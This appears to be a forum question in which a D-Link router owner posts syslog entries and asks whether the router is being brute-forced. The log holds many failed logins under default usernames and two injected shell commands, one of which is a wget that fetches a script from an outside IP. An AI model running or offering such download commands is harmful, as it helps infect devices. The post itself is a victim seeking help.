I have got D-Link 2750U router. I log using username admin and a password.
My router log shows lots of entries like the following:
Is someone trying to brute force hack my router ?
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[9007] User root login failed, because username or password is wrong
2016-07-16 00:07:47 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:08:26 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:09:04 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:10:10 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:11:23 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:13:02 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:14:09 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:15:24 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:15:51 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:16:20 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:16:47 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:17:03 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:17:10 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 00:17:18 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:17:26 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:17:33 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:17:41 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:17:48 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:17:55 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:18:03 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:18:10 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:18:18 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:18:26 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User guest login failed, because username or password is wrong
2016-07-16 00:18:33 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:18:41 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:18:55 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:19:03 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:19:10 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:19:18 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:19:26 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:19:33 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:19:41 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:19:48 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 00:19:56 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 00:20:03 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 00:20:11 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:20:19 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:20:26 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:20:34 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:21:58 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] Not found session 6e23fd4c, user login check failed
2016-07-16 00:26:11 [5] syslog: Accessor:[CPE] Method:[PPPoE] Para:[] Result:[9001] Wan Link was Disconnected
2016-07-16 00:26:11 [6] syslog: Accessor:[CPE] Method:[NotiInform] Para:[type=2] Result:[0]
2016-07-16 00:27:11 [6] syslog: Accessor:[CPE] Method:[NotiInform] Para:[type=2] Result:[0]
2016-07-16 00:27:11 [5] syslog: Accessor:[CPE] Method:[PPPoE] Para:[User=png ip=117.203.249.xxx] Result:[0] Wan Link was Connected
2016-07-16 00:30:51 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User cd /tmp || cd /var/run || cd / login failed, because username or password is wrong
2016-07-16 00:36:57 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:37:33 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:38:16 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:39:41 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:40:37 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:41:39 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 00:42:27 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 00:47:47 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User wget http://64.95.100.90/gbb.s login failed, because username or password is wrong
2016-07-16 00:47:53 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User wget http://64.95.100.90/gbb.s login failed, because username or password is wrong
2016-07-16 01:00:26 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:00:58 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:01:29 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:02:03 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:02:27 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] Not found session 28721922, user login check failed
2016-07-16 01:02:35 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:02:37 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[] User admin login success
2016-07-16 01:03:08 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:03:41 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:04:14 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:04:48 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:05:18 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:05:44 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:06:09 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:06:34 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:07:00 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:07:25 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:07:51 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:08:17 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[] User admin session timeout and auto logout
2016-07-16 01:08:17 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:08:42 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:09:08 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:09:33 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:09:59 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:10:24 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:10:50 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:11:15 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:11:41 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:12:06 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:12:32 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:12:58 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:13:23 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:13:49 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:14:14 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:14:40 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:15:06 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:15:31 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:15:57 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:16:23 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:16:49 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:17:15 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User admin login failed, because username or password is wrong
2016-07-16 01:17:42 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User support login failed, because username or password is wrong
2016-07-16 01:19:33 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:21:13 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:23:11 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:25:16 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:26:59 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:29:00 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:29:11 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:29:23 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:29:56 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:30:34 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:32:02 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:32:50 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:33:58 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:34:45 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:35:32 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:36:58 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:37:42 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:38:28 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:39:16 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.
2016-07-16 01:40:36 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:42:11 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:42:44 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9007] User root login failed, because username or password is wrong
2016-07-16 01:43:32 [5] syslog: Accessor:[CPE] Method:[AUTH] Para:[] Result:[9004] User 11111111 login failed three times Continuously.